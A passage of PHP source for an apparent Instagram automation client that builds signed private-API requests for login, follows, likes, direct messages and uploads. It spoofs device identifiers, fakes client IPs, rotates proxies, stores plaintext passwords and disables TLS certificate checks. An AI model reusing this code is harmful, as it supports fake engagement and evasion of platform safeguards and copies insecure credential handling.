            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);
            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

    }


    class MobilInstagram {
        protected $username;
        protected $password;
        /**
         * @var Device
         */
        protected $device;
        public    $account_id;          // User PK
        public    $uuid;                // UUID
        protected $adid;                // Google Ad ID
        protected $guid;                // Google Ad ID
        protected $phone_id;            // Phone ID
        protected $device_id;           // Device ID
        /**
         * @var Settings
         */
        public    $settings;
        public    $token;               // _csrftoken
        protected $isLoggedIn = FALSE;  // Session status
        protected $rank_token;          // Rank token
        protected $IGDataPath;          // Data storage path


        public function __construct() {

        }

        public function MobileLogin($username, $password, $deviceID, $phoneID, $csrfToken) {

            $this->username  = $username;
            $this->token     = $csrfToken;
            $this->adid      = $phoneID;
            $this->guid      = $phoneID;
            $this->uuid      = $phoneID;
            $this->phone_id  = $phoneID;
            $this->device_id = "android-" . $deviceID;

            $requestPosts = [
                'phone_id'            => $this->phone_id,
                '_csrftoken'          => $this->token,
                'username'            => $this->username,
                'guid'                => $this->guid,
                'adid'                => $this->adid,
                'device_id'           => $this->device_id,
                'password'            => $password,
                'login_attempt_count' => '0',
            ];

            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "beforeData" => array(
                    $this->MobilLogout()
                ),
                "loginData"  => $postData
            );

        }

        public function MobilsyncDeviceFeatures($prelogin = FALSE) {
            if($prelogin) {
                $requestPosts = [
                    'id'          => Signatures::generateUUID(TRUE),
                    'experiments' => Constants::LOGIN_EXPERIMENTS
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));
            } else {
                $requestPosts = [
                    '_uuid'      => $this->uuid,
                    '_uid'       => $this->account_id,
                    '_csrftoken' => $this->token
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));
            }

            return array(
                "url"  => 'qe/sync/',
                "data" => $postData
            );
        }

        public function MobilLogout() {
            $requestPosts = array(
                "phone_id"   => $this->phone_id,
                "_csrftoken" => $this->token,
                "guid"       => $this->guid,
                "device_id"  => $this->device_id,
                "_uuid"      => $this->uuid
            );
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => "accounts/logout/",
                "data" => $postData
            );
        }


        public function MobilTakipLogout($phoneID, $token, $guid, $deviceID, $uuid) {
            $requestPosts = array(
                "phone_id"   => $phoneID,
                "_csrftoken" => $token,
                "guid"       => $guid,
                "device_id"  => $deviceID,
                "_uuid"      => $uuid
            );
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => "accounts/logout/",
                "data" => $postData
            );
        }


        public function follow($userId, $uuid, $account_id, $token) {
            $requestPosts = array(
                "_uuid"      => $uuid,
                "_uid"       => $account_id,
                "_csrftoken" => $token,
                "user_id"    => $userId,
                "radio_type" => "wifi-none"
            );
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => "friendships/create/" . $userId . "/",
                "data" => $postData
            );
        }


        public function like($mediaId, $uuid, $account_id, $token) {

            $requestPosts = [
                '_uuid'       => $uuid,
                '_uid'        => $account_id,
                '_csrftoken'  => $token,
                'media_id'    => $mediaId,
                'radio_type'  => "wifi-none",
                'module_name' => "feed_timeline",
                'd'           => rand(0, 1)
            ];
            $requestPosts = Signatures::signData($requestPosts, array("d"));
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => "media/$mediaId/like/",
                "data" => $postData
            );
        }


        public function MobilsyncUserFeatures() {
            $requestPosts = [
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'id'          => $this->account_id,
                'experiments' => Constants::EXPERIMENTS
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'qe/sync/',
                "data" => $postData
            );
        }

        public function MobilreadMsisdnHeader() {
            $requestPosts = [
                'device_id'          => $this->device_id,
                '_csrftoken'         => $this->token,
                'mobile_subno_usage' => 'ig_select_app'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => 'accounts/read_msisdn_header/',
                "data" => $postData
            );
        }

        public function MobilgetLoginReelsTrayFeed() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'feed/reels_tray/',
                "data" => $postData
            );
        }


        public function MobilgetLoginTimelineFeed() {

            $requestPosts = [
                '_csrftoken'                  => $this->token,
                '_uuid'                       => $this->uuid,
                'is_prefetch'                 => "0",
                'phone_id'                    => $this->phone_id,
                'battery_level'               => "100",
                'is_charging'                 => "1",
                'will_sound_on'               => "1",
                'is_on_screen'                => "true",
                'timezone_offset'             => date('Z'),
                'is_async_ads'                => "true",
                'is_async_ads_double_request' => "false",
                'is_async_ads_rti'            => "false",
                'reason'                      => "cold_start_fetch",
                'is_pull_to_refresh'          => "0"
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"       => Constants::API_URL . 'feed/timeline/',
                "data"      => $postData,
                "addHeader" => TRUE
            );
        }

        public function MobilaccountsContactPointPrefill() {
            $requestPosts = [
                'phone_id'   => $this->phone_id,
                'usage'      => 'prefill',
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => 'accounts/contact_point_prefill/',
                "data" => $postData
            );
        }

        public function MobilzrToken() {

            $requestPosts = [
                'token_hash' => NULL
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $url = "zr/token/result/?device_id=" . $this->device_id . "&token_hash=&custom_device_id=" . $this->phone_id;

            return array(
                "url"  => $url,
                "data" => $postData
            );
        }

        public function MobillogAttribution() {
            $requestPosts = [
                'adid' => $this->adid
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => 'attribution/log_attribution/',
                "data" => $postData
            );

        }

        public function MobilgetBootstrapUsers() {

            $surfaces = [
                'coefficient_direct_recipients_ranking_variant_2',
                'coefficient_direct_recipients_ranking',
                'coefficient_ios_section_test_bootstrap_ranking',
                'autocomplete_user_list',
            ];


            $requestPosts = [
                'surfaces' => json_encode($surfaces)
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'scores/bootstrap/users/',
                "data" => $postData
            );

        }

        public function MobilregisterPushChannels() {

            $requestPosts = [
                'device_type'          => "android_mqtt",
                'is_main_push_channel' => "true",
                'phone_id'             => $this->phone_id,
                'device_token'         => '[]',
                '_csrftoken'           => $this->token,
                'guid'                 => $this->uuid,
                '_uuid'                => $this->uuid,
                'users'                => $this->account_id
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'push/register/',
                "data" => $postData
            );

        }

        public function MobilgetLoginRankedRecipients($mode, $showThreads, $query = NULL) {

            $requestPosts = [
                'mode'              => $mode,
                'show_threads'      => $showThreads ? 'true' : 'false',
                'use_unified_inbox' => "true"
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'direct_v2/ranked_recipients/',
                "data" => $postData
            );

        }

        public function MobilgetInbox() {

            $requestPosts = [
                'persistentBadging' => "true",
                'use_unified_inbox' => "true"
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'direct_v2/inbox/',
                "data" => $postData
            );

        }


        public function MobilgetExploreFeed($maxId = NULL, $isPrefetch = FALSE) {

            $requestPosts = [
                'is_prefetch'     => $isPrefetch,
                'is_from_promote' => FALSE,
                'timezone_offset' => date('Z'),
                'session_id'      => Signatures::generateUUID(TRUE)
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'discover/explore/',
                "data" => $postData
            );

        }


        public function MobilgetFacebookOTA() {

            $requestGets = [
                'fields'             => Constants::FACEBOOK_OTA_FIELDS,
                'custom_user_id'     => $this->account_id,
                'signed_body'        => Signatures::generateSignature('') . '.',
                'ig_sig_key_version' => Constants::SIG_KEY_VERSION,
                'version_code'       => Constants::VERSION_CODE,
                'version_name'       => Constants::IG_VERSION,
                'custom_app_id'      => Constants::FACEBOOK_ORCA_APPLICATION_ID,
                'custom_device_id'   => $this->uuid,
            ];

            $postData = NULL;

            return array(
                "url"  => 'facebook_ota/?' . http_build_query($requestGets),
                "data" => $postData
            );

        }


        public function MobilgetPresenceStatus() {

            $requestPosts = [];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'accounts/get_presence_disabled/',
                "data" => $postData
            );

        }


        public function MobilgetQPFetch($surfaceParam) {

            $requestPosts = [
                "vc_policy"     => "default",
                "_csrftoken"    => $this->token,
                "_uid"          => $this->account_id,
                "surface_param" => $surfaceParam,
                "version"       => 1,
                "scale"         => 2,
                "query"         => 'viewer() {eligible_promotions.surface_nux_id(<surface>).external_gating_permitted_qps(<external_gating_permitted_qps>).supports_client_filters(true) {edges {priority,time_range {start,end},node {id,promotion_id,max_impressions,triggers,contextual_filters {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}}}}}},template {name,parameters {name,required,bool_value,string_value,color_value,}},creatives {title {text},content {text},footer {text},social_context {text},primary_action{title {text},url,limit,dismiss_promotion},secondary_action{title {text},url,limit,dismiss_promotion},dismiss_action{title {text},url,limit,dismiss_promotion},image.scale(<scale>) {uri,width,height}}}}}}',
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => Constants::API_URL . 'qp/fetch/',
                "data" => $postData
            );

        }

        public function MobilgetProfileNotice() {

            $postData = NULL;

            return array(
                "url"  => Constants::API_URL . 'users/profile_notice/',
                "data" => $postData
            );

        }

        public function MobilgetRecentActivityInbox() {

            $postData = NULL;

            return array(
                "url"  => Constants::API_URL . 'news/inbox/',
                "data" => $postData
            );

        }

        public function MobilgetBlockedMedia() {

            $postData = NULL;

            return array(
                "url"  => Constants::API_URL . 'media/blocked/',
                "data" => $postData
            );

        }

    }

    class Instamis {
        protected $username;
        protected $password;
        /**
         * @var Device
         */
        protected $device;
        protected $account_id;          // User PK
        protected $uuid;                // UUID
        protected $adid;                // Google Ad ID
        protected $phone_id;            // Phone ID
        protected $device_id;           // Device ID
        /**
         * @var Settings
         */
        public    $settings;
        protected $token;               // _csrftoken
        protected $isLoggedIn = FALSE;  // Session status
        protected $rank_token;          // Rank token
        protected $IGDataPath;          // Data storage path


        public function __construct() {

        }

        protected function checkSettings($forceUserIP = FALSE) {
            $settingsCompare = $this->settings->get("sets");

            $savedDeviceString = $this->settings->get('devicestring');
            $this->device      = new Device(Constants::IG_VERSION, Constants::USER_AGENT_LOCALE, $savedDeviceString);
            $deviceString      = $this->device->getDeviceString();
            if($deviceString !== $savedDeviceString) {
                $this->settings->set('devicestring', $deviceString);
            }
            if($this->settings->get('uuid') == NULL) {
                $this->settings->set('uuid', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('adid') == NULL) {
                $this->settings->set('adid', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('phone_id') == NULL) {
                $this->settings->set('phone_id', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('device_id') == NULL) {
                $this->settings->set('device_id', Signatures::generateDeviceId(md5($this->account_id)));
            }
            if($this->settings->get('ip') == NULL || $forceUserIP) {
                $ipAdress = '78.' . rand(160, 191) . '.' . rand(1, 255) . '.' . rand(1, 255);
                if($forceUserIP && !empty($_SERVER["REMOTE_ADDR"])) {
                    $ipAdress = $_SERVER["REMOTE_ADDR"];
                }
                $this->settings->set('ip', $ipAdress);
            }
            if($this->settings->get('username_id') == NULL) {
                $this->settings->set('username_id', $this->account_id);
            }
            if(INSTAWEB_MAX_ASNS > 0) {
                if($this->settings->get(INSTAWEB_ASNS_KEY) == NULL || intval($this->settings->get(INSTAWEB_ASNS_KEY)) > INSTAWEB_MAX_ASNS) {
                    $this->settings->set(INSTAWEB_ASNS_KEY, rand(1, INSTAWEB_MAX_ASNS));
                }
            }
            if($settingsCompare !== $this->settings->get("sets")) {
                $this->settings->save();
            }
        }

        function getData() {
            return array(
                "username"        => $this->username,
                "password"        => $this->password,
                "username_id"     => $this->account_id,
                "uuid"            => $this->uuid,
                "token"           => $this->token,
                "rank_token"      => $this->rank_token,
                "user_agent"      => $this->device->getUserAgent(),
                "ip"              => $this->settings->get('ip'),
                "cookie"          => $this->settings->get('cookie'),
                INSTAWEB_ASNS_KEY => $this->settings->get(INSTAWEB_ASNS_KEY)
            );
        }


        public function twoFactorLogin($verificationCode, $twoFactorIdentifier) {
            $verificationCode = trim(str_replace(' ', '', $verificationCode));
            $requestPosts     = [
                'verification_code'     => $verificationCode,
                'two_factor_identifier' => $twoFactorIdentifier,
                '_csrftoken'            => $this->token,
                'username'              => $this->username,
                'device_id'             => $this->device_id,
                'password'              => $this->password
            ];
            $requestPosts     = Signatures::signData($requestPosts);
            $postData         = http_build_query(Utils::reorderByHashCode($requestPosts));
            $login            = $this->request('accounts/two_factor_login/', $postData, FALSE);

            if($login[1]['status'] == 'fail') {
                throw new Exception($login[1]['message']);
            }

            $this->isLoggedIn = TRUE;
            $this->settings->set('last_login', time());
            $this->settings->save();

            return $login[1];
        }


        public function login($username, $password, $deviceID, $phoneID, $csrfToken, $type = 1) {
            $data = array();

            $requestPosts = [
                'phone_id'            => $phoneID,
                '_csrftoken'          => $csrfToken,
                'username'            => $username,
                'guid'                => $phoneID,
                'adid'                => $phoneID,
                'device_id'           => "android-" . $deviceID,
                'password'            => $password,
                'login_attempt_count' => '0',
            ];
            $requestPosts = Signatures::signData($requestPosts);
            if($type == 1) {
                $data["loginData"] = http_build_query(Utils::reorderByHashCode($requestPosts));
            } else {
                $data = http_build_query(Utils::reorderByHashCode($requestPosts));
            }


            return $data;
        }

        public function syncDeviceFeatures($phoneID) {
            $requestPosts = [
                'id'          => $phoneID,
                'experiments' => Constants::LOGIN_EXPERIMENTS
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }


        public function syncUserFeatures() {
            $requestPosts = [
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'id'          => $this->account_id,
                'experiments' => Constants::EXPERIMENTS
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


            $this->settings->set("last_experiments", time());
            $this->settings->save();

            return $this->request('qe/sync/', $postData)[1];
        }

        public function logAttribution($phoneID) {
            $requestPosts = [
                'adid' => $phoneID
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }

        public function getVisualInbox() {
            return $this->request('direct_v2/visual_inbox/')[1];
        }

        protected function getAutoCompleteUserList() {
            $requestParams = ["version" => "2"];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request('friendships/autocomplete_user_list/?' . $paramData)[1];
        }

        protected function getMegaphoneLog() {
            $requestPosts = [
                'type'       => 'feed_aysf',
                'action'     => 'seen',
                'reason'     => '',
                '_uuid'      => $this->uuid,
                'device_id'  => $this->device_id,
                '_csrftoken' => $this->token,
                'uuid'       => md5(time())
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('megaphone/log/', $postData)[1];
        }

        protected function expose() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'id'         => $this->account_id,
                '_csrftoken' => $this->token,
                'experiment' => 'ig_android_profile_contextual_feed'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $this->request('qe/expose/', $postData)[1];
        }


        public function uploadPhoto($photo, $caption = NULL) {
            $endpoint = Constants::API_URL . 'upload/photo/';
            $boundary = Utils::generateMultipartBoundary();

            $upload_id    = Utils::generateUploadId();
            $fileToUpload = file_get_contents($photo);

            $requestPosts = [
                "upload_id"         => $upload_id,
                "_uuid"             => $this->uuid,
                "_csrftoken"        => $this->token,
                "image_compression" => '{"lib_name":"jt","lib_version":"1.3.0","quality":"87"}'
            ];

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'pending_media_' . Utils::generateUploadId() . '.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];

            $index  = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }
            $result   .= '--' . $boundary . '--';
            $postData = $result;

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];


            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE);
            $this->organizeCookies($header);

            curl_close($ch);

            if($upload['status'] == 'fail') {
                throw new Exception($upload['message']);
            }


            $configure = $this->configure($upload['upload_id'], $photo, $caption);
            $this->expose();

            return $configure;
        }


        public function direct_message($recipients, $text) {
            if(empty($recipients) || empty($text)) {
                throw new Exception('Recipients or text can not be empty!');
            }
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }
            $recipient_users = implode(',', $string);

            $requestPosts = [
                "text"            => $text,
                "recipient_users" => "[[" . $recipient_users . "]]",
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/threads/broadcast/text/', $postData)[1];

        }


        public function direct_photo($recipients, $filepath, $text) {
            if(empty($recipients) || empty($filepath)) {
                throw new Exception('Recipients or file can not be empty!');
            }
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }
            $recipient_users = implode(',', $string);


            $requestPosts = [
                "recipient_users" => "[[" . $recipient_users . "]]",
                "text"            => empty($text) ? '' : $text,
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];

            $fileToUpload = file_get_contents($filepath);

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'pending_media_' . Utils::generateUploadId() . '.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];

            $boundary = Utils::generateMultipartBoundary();
            $index    = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result   = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }


            $postData = $result;
            $endpoint = Constants::API_URL . 'direct_v2/threads/broadcast/upload_photo/';

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE);
            $this->organizeCookies($header);

            curl_close($ch);

            return $upload;
        }


        public function direct_share($media_id, $recipients, $text = NULL) {
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }

            $recipient_users = implode(',', $string);


            $requestParams = ["media_type" => "photo"];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));


            $requestPosts = [
                "recipient_users" => "[[" . $recipient_users . "]]",
                "media_id"        => $media_id,
                "text"            => empty($text) ? '' : $text,
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/threads/broadcast/media_share/?' . $paramData, $postData)[1];
        }

        protected function configure($upload_id, $photo, $caption = '') {
            $size = getimagesize($photo)[0];

            $requestPosts = [
                '_csrftoken'   => $this->token,
                '_uid'         => $this->account_id,
                '_uuid'        => $this->uuid,
                'edits'        => [
                    'crop_original_size' => [
                        $size,
                        $size
                    ],
                    'crop_zoom'          => 1.3333334,
                    'crop_center'        => [
                        0.0,
                        -0.0
                    ],
                ],
                'device'       => [
                    'manufacturer'    => $this->device->getManufacturer(),
                    'model'           => $this->device->getModel(),
                    'android_version' => $this->device->getAndroidVersion(),
                    'android_release' => $this->device->getAndroidRelease(),
                ],
                'extra'        => [
                    'source_width'  => $size,
                    'source_height' => $size,
                ],
                'caption'      => $caption,
                'source_type'  => "4",
                'media_folder' => 'Camera',
                'upload_id'    => $upload_id,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


            return $this->request('media/configure/', $postData)[1];
        }

        public function editMedia($mediaId, $captionText = '') {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                '_csrftoken'   => $this->token,
                'caption_text' => $captionText,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/edit_media/", $postData)[1];
        }


        public function removeSelftag($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("usertags/$mediaId/remove/", $postData)[1];
        }


        public function getMediaInfo($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/info/", $postData)[1];
        }

        public function getBroadcastInfo($broadcastId) {
            return $this->request("live/" . $broadcastId . "/info/")[1];
        }

        public function getBroadcastHeartbeatAndViewerCount($broadcastId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("live/" . $broadcastId . "/heartbeat_and_get_viewer_count/", $postData)[1];
        }

        public function deleteMedia($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/delete/", $postData)[1];
        }


